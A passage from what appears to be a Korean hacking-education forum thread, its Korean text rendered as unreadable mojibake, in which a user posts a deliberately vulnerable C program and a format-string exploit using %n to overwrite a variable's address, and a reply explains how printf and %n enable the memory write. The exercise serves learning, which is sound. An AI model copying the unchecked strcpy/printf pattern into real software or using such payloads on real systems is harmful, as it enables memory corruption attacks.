½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   bufferover
   Æ÷¸Ë½ºÆ®¸µ Ãë¾àÁ¡ Áú¹®

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1938 [º¹»ç]


/*

fmt3_superdk.c

*/
#include <stdio.h>
#include <stdlib.h>

int main( int argv, char *argc[]){
   static int i = 0;
   char str[128];

   strcpy( str, argv[1]);
   printf( str );
   printf("\ni=&p, i=%d\n",&i,i);
}

ÀÌ ÇÁ·Î±×·¥À» ¸®´ª½º¿¡¼­

./fmt3_superdk $(printf "\x84\x94\x04\x08")%8x%8x%8x%n
¸Þ¸ð¸® ÁÖ¼Ò .. .. .. .. .. ..
i=0x8049484, i=28

ÀÌ·¸°Ô ½ÇÇàÇߴµ¥ $(printf "\x84\x94\x04\x08") ¿©±â ÀÌ°Ô ÀÌ ÁÖ¼Ò¿¡ µ¤¾î ¾´´Ù´Â °Ç ¾Ë °Í °°Àºµ¥

$(´Þ·¯±âÈ£) ÀÌ ±âÈ£°¡ ¹«½¼ Àǹ̰í Àú·¸°Ô ÇÏ¸é ¿Ö Àú ÁÖ¼Ò¿¡ µ¤¾î ¾º¿öÁö´ÂÁö ¾Ë°í½Í½À´Ï´Ù.

  Hit : 3459     Date : 2018/09/14 09:19



    
dc4458 ¸ÞÀÎ ÇÔ¼ö¿¡ ÀÎÀÚ¸¦ Àü´ÞÇØÁÖ±âÀ§Çؼ±

>ÇÁ·Î±×·¥À̸§ ÀÎÀÚ1 ÀÎÀÚ2

ÀÌ·±½ÄÀ¸·Î ½ÇÇà½ÃÄÑ¾ß ÇÕ´Ï´Ù ÇÏÁö¸¸ ¿ì¸®°¡ Àü´ÞÇØ¾ßÇÒ ÀÎÀÚ´Â ´Ü¼øÇÑ ¹®ÀÚ¿­ÀÌ ¾Æ´Ñ 16Áø¼ö°ª ±× ÀÚüÀÔ´Ï´Ù. (ÁÖ¼Ò¸¦ Àü´ÞÇÏ°í ½ÍÀ¸¹Ç·Î 16Áø¼ö°ªÀ¸·Î Àü´ÞÇØ¾ßÇÕ´Ï´Ù) µû¶ó¼­ printf¸¦ ÀÌ¿ëÇØ Àü´ÞÇØÁÖ´Â °Ì´Ï´Ù.

C¿¡¼­ÀÇ printf ÇÔ¼ö´Â ù¹øÂ°·Î Àü´ÞµÈ ÀÎÀÚÀÇ ¹®ÀÚ¿­À» Àдٰ¡ ¼­½ÄÁöÁ¤ÀÚ (%d ³ª %x ,%n µîµî)°¡ ³ª¿À¸é µÎ¹øÂ° ÀÎÀÚ, ¼¼¹øÂ° ÀÎÀÚ°¡ Àִ°ÍÀ¸·Î ÆÇ´ÜÇÏ°í ¸ÕÀú Ǫ½¬µÇ¾îÀÖ´ø ½ºÅðªµéÀ» ÀоîµéÀÔ´Ï´Ù. ±× ÀоîµéÀÎ ½ºÅðªÀ» ¼­½Ä¿¡ ¸Â°Ô (%d´Â 10Áø¼ö Á¤¼ö, %x´Â 16Áø¼ö Á¤¼ö µîµî) À¸·Î º¯Çü ½ÃÄѼ­ ÇÁ¸°Æ®ÇÕ´Ï´Ù.

%n¼­½ÄÁöÁ¤ÀÚ´Â Á¶±Ý Ưº°Çѵ¥ %n¼­½Ä ÁöÁ¤ÀÚ°¡ ³ª¿À±âÀü±îÁö Ãâ·ÂµÈ Àüü ¹®ÀÚ¿­ÀÇ ¼ö¸¦ °è»êÇÏ¿© %n ¼­½ÄÁöÁ¤°¡ ÀÐÇûÀ»¶§ ÀоîµéÀÎ ½ºÅÃÀÇ °ªÀ» ÁÖ¼Ò·Î ÇÏ¿© ±× ÁÖ¼Ò¿¡ ¹®ÀÚ¿­ÀÇ ¼ö¸¦ ÀúÀåÇÕ´Ï´Ù.

µû¶ó¼­ 16Áø¼ö·Î ÁÖ¼Ò¸¦ ÀÔ·ÂÇϰí %nÁöÁ¤ÀÚ°¡ ÀÐÈúÂ÷·Ê¿¡ ÀÔ·ÂÇØµ×´ø ÁÖ¼Ò°ªÀ» ½ºÅÿ¡¼­ ÀоîµéÀÎ´Ù¸é ¿øÇÏ´Â °÷¿¡ µ¥ÀÌÅ͸¦ ¾µ ¼ö ÀְԵ˴ϴÙ.
2018/09/27